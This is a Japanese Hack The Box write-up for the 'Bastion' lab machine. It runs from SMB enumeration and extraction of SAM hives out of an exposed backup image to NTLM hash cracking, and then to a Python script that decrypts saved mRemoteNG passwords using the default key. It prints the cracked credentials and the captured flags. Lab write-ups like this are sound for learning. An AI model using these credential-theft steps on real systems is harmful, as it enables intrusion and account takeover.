Hack The BoxのWriteup(Bastion)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Bastion — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 135/139/445/5985等
→
SMB匿名アクセス
非標準の”Backups”共有
→
VHDをCIFSマウント+7z抽出
SAM/SYSTEMハイブ
→
secretsdump + hashcat
l4mpje:bureaulampje
→
SSH l4mpje
user.txt ✓
→
mRemoteNG設定ファイル窃取
confCons.xml
→
AES-GCM復号
デフォルトパスワード”mR3m”
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.136.29
nmap -sV -sC -p 22,135,139,445,5985 10.129.136.29
RESULT
PORT    STATE SERVICE      VERSION
22/tcp  open  ssh          OpenSSH for_Windows_7.9
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
5985/tcp open  wsman
Service Info: OS: Windows Server 2008 R2 - 2012
ℹ️
珍しくWindows上でOpenSSHサーバーが稼働している (通常のWindowsマシンはRDPやWinRMが主だが、本機はSSH公開鍵/パスワード認証が 使える)。偵察の軸はSMB(445)側に置く。
PHASE 2

SMB匿名アクセス → “Backups”共有 → VHDファイルの抽出

SMB共有の列挙

BASH
smbclient -L //10.129.136.29 -N
RESULT
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
Backups         Disk
IPC$            IPC       Remote IPC
🚨
重要発見: 標準の管理共有(ADMIN$/C$/IPC$)に加えて、“Backups”という 非標準の共有が存在し、null session(匿名)でアクセス可能。

Backups共有の中身を確認

BASH
smbclient -N //10.129.136.29/Backups
smb: \> recurse ON
smb: \> ls
RESULT
WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\
  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd   (約37MB)
  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd   (約5.4GB)
ℹ️
Windowsの「バックアップと復元」機能が作成した仮想ハードディスク(VHD)が 2つある。小さい方(37MB)はブート関連パーティション、大きい方(5.4GB)が システムドライブ本体のイメージであり、中にSAM/SYSTEMレジストリハイブが 含まれている。

CIFSマウント & 7zでVHDから直接ファイル抽出

BASH
sudo mkdir -p /mnt/bastion
sudo mount -t cifs //10.129.136.29/Backups /mnt/bastion \
  -o vers=1.0,username=guest,password=,ro
⚠️
ハマりポイント: このマウントにはvers=1.0(SMB1強制)と username=guest,password=(空パスワードのguestを明示)の両方が必要。 sec=none指定や、ユーザー名を省略したマウントは Permission deniedになる。
BASH
# guestmountが無くても、7zはVHD(NTFSパーティション)を直接読める
7z e "/mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd" \
  Windows/System32/config/SAM Windows/System32/config/SYSTEM \
  -o./loot -y
ℹ️
5.4GBのVHDをSMB越しに読みながら該当ファイルだけ抽出するため、 数分程度の時間がかかる(ネットワーク越しのランダムアクセス読み込みに なるため)。気長に待つこと。
BASH
sudo umount /mnt/bastion
PHASE 3

SAM/SYSTEMハイブからNTLMハッシュをダンプ & クラック

impacket-secretsdumpでローカルアカウントを抽出

BASH
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
RESULT
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
ℹ️
Administrator/Guestのハッシュは空パスワード相当の既定値 (31d6cfe0d16ae931b73c59d7e0c089c0)だが、ローカルアカウントはドメイン外 (スタンドアロン)の場合そのまま空パスワードでログインできるわけではない (SAM単体のローカルアカウントログオンポリシー依存)。L4mpjeの NTハッシュが実際に解析対象になる。

hashcatでNTハッシュをクラック

BASH
echo '26112010952d963c8dc4217daec986d9' > l4mpje.hash
hashcat -m 1000 -a 0 l4mpje.hash /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 l4mpje.hash /usr/share/wordlists/rockyou.txt --show
RESULT
26112010952d963c8dc4217daec986d9:bureaulampje

SSHログイン & user.txt 取得

BASH
ssh l4mpje@10.129.136.29
# Password: bureaulampje

C:\Users\L4mpje>type C:\Users\L4mpje\Desktop\user.txt
RESULT
03f496e8d2ddc1154cc9e3b425f53690
user.txt — L4mpje
03f496e8d2ddc1154cc9e3b425f53690
PHASE 4

mRemoteNG設定ファイルの復号 → root.txt

mRemoteNGの設定ファイルを発見・取得

NOTE
mRemoteNGは複数のリモート接続(RDP/SSH/VNC等)の資格情報をまとめて管理できる
Windows用クライアントで、設定ファイル confCons.xml に接続先ごとの
暗号化されたパスワードを保存している。
BASH
scp l4mpje@10.129.136.29:"C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml" .
RESULT (confCons.xml 抜粋)
<Node Name="RDP" ... Username="Administrator" Domain=""
      Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
      Hostname="127.0.0.1" ... />
✅
Administrator宛の暗号化パスワードを発見。 mRemoteNGはAES-GCMでパスワードを暗号化しており、復号には マスターパスワード(mRemoteNG全体の暗号化キー)が必要。

デフォルトマスターパスワード “mR3m” でAES-GCM復号

PYTHON
import base64, hashlib
from Cryptodome.Cipher import AES
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Hash import SHA1

enc = base64.b64decode(
    "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
)
salt  = enc[:16]
nonce = enc[16:32]
tag   = enc[-16:]
ciphertext = enc[32:-16]

master_password = "mR3m"   # mRemoteNG の既定の暗号化パスワード(空ではない)
key = PBKDF2(master_password, salt, dkLen=32, count=1000,
             hmac_hash_module=SHA1)

cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
cipher.update(salt)   # salt を AAD(追加認証データ)として使用
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(plaintext.decode())
RESULT
thXLHM96BeKL0ER2
⚠️
ハマりポイント: mRemoteNGのデフォルトのマスターパスワードは 空文字列ではなく “mR3m”。空文字で復号を試みると MAC check failed(GCMの認証タグ不一致)で失敗する。 復号パラメータはPBKDF2-HMAC-SHA1(1000回イテレーション, 32バイト鍵)、 salt = 暗号文の先頭16バイト、nonce = 続く16バイト、 AAD = salt自身、認証タグ = 末尾16バイトという mRemoteNG独自のレイアウトになっている。

Administrator としてログイン & root.txt 取得

BASH
ssh administrator@10.129.136.29
# Password: thXLHM96BeKL0ER2

C:\Users\Administrator>type C:\Users\Administrator\Desktop\root.txt
RESULT
a7854fd1972ed6aaad828ee1760d3d66
root.txt — Administrator
a7854fd1972ed6aaad828ee1760d3d66
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — L4mpje
03f496e8d2ddc1154cc9e3b425f53690
root.txt — Administrator
a7854fd1972ed6aaad828ee1760d3d66

使用した脆弱性・設定不備

脆弱性/不備 対象 影響 深刻度 利用方法
SMB匿名アクセスでバックアップVHDが取得可能 “Backups”共有 (445/tcp) システム全体のバックアップイメージの情報漏洩 Critical 認証不要でVHDイメージをマウント・抽出しSAM/SYSTEMハイブを窃取
弱いパスワード L4mpjeユーザーのNTハッシュ SSHでの初期侵入 High hashcat -m 1000 + rockyou.txtで数秒クラック(bureaulampje)
mRemoteNG既定マスターパスワード未変更 confCons.xml (AES-GCM暗号化資格情報) 権限昇格 (Administrator) Critical 既定マスターパスワード”mR3m”でAES-GCM復号しAdministratorの平文パスワードを取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポートスキャン22/ssh, 135/139/445/5985
2初期ファイル取得SMB匿名アクセス + “Backups”共有システムイメージVHD(5.4GB)
2資格情報抽出CIFSマウント+7z抽出+secretsdumpL4mpje NTハッシュ
3初期侵入hashcat -m 1000 crackL4mpje:bureaulampje、user.txt取得
4権限昇格mRemoteNG confCons.xml AES-GCM復号Administrator:thXLHM96BeKL0ER2
4フラグ取得SSH Administratorroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
システムバックアップ(VHD)がSMB匿名アクセス可能な共有に置かれている バックアップ共有には必ず認証を要求し、必要最小限のユーザーにのみアクセスを限定する。SAM/SYSTEMハイブを含むバックアップイメージは特に機密性が高い。
ローカルアカウントのパスワードがrockyouベースの辞書攻撃で数秒クラックできる弱さ 複雑性要件を満たした強固なパスワードポリシーを強制し、辞書に載りやすい単純な単語の組合せを禁止する。
リモート接続管理ツール(mRemoteNG)のマスターパスワードが既定値のまま運用されている mRemoteNG等の資格情報管理ツールは導入時に必ずマスターパスワードを独自の強固な値に変更する。既定値のままだと暗号化自体が実質無意味になる。
HackTheBox: Bastion | 完全攻略レポート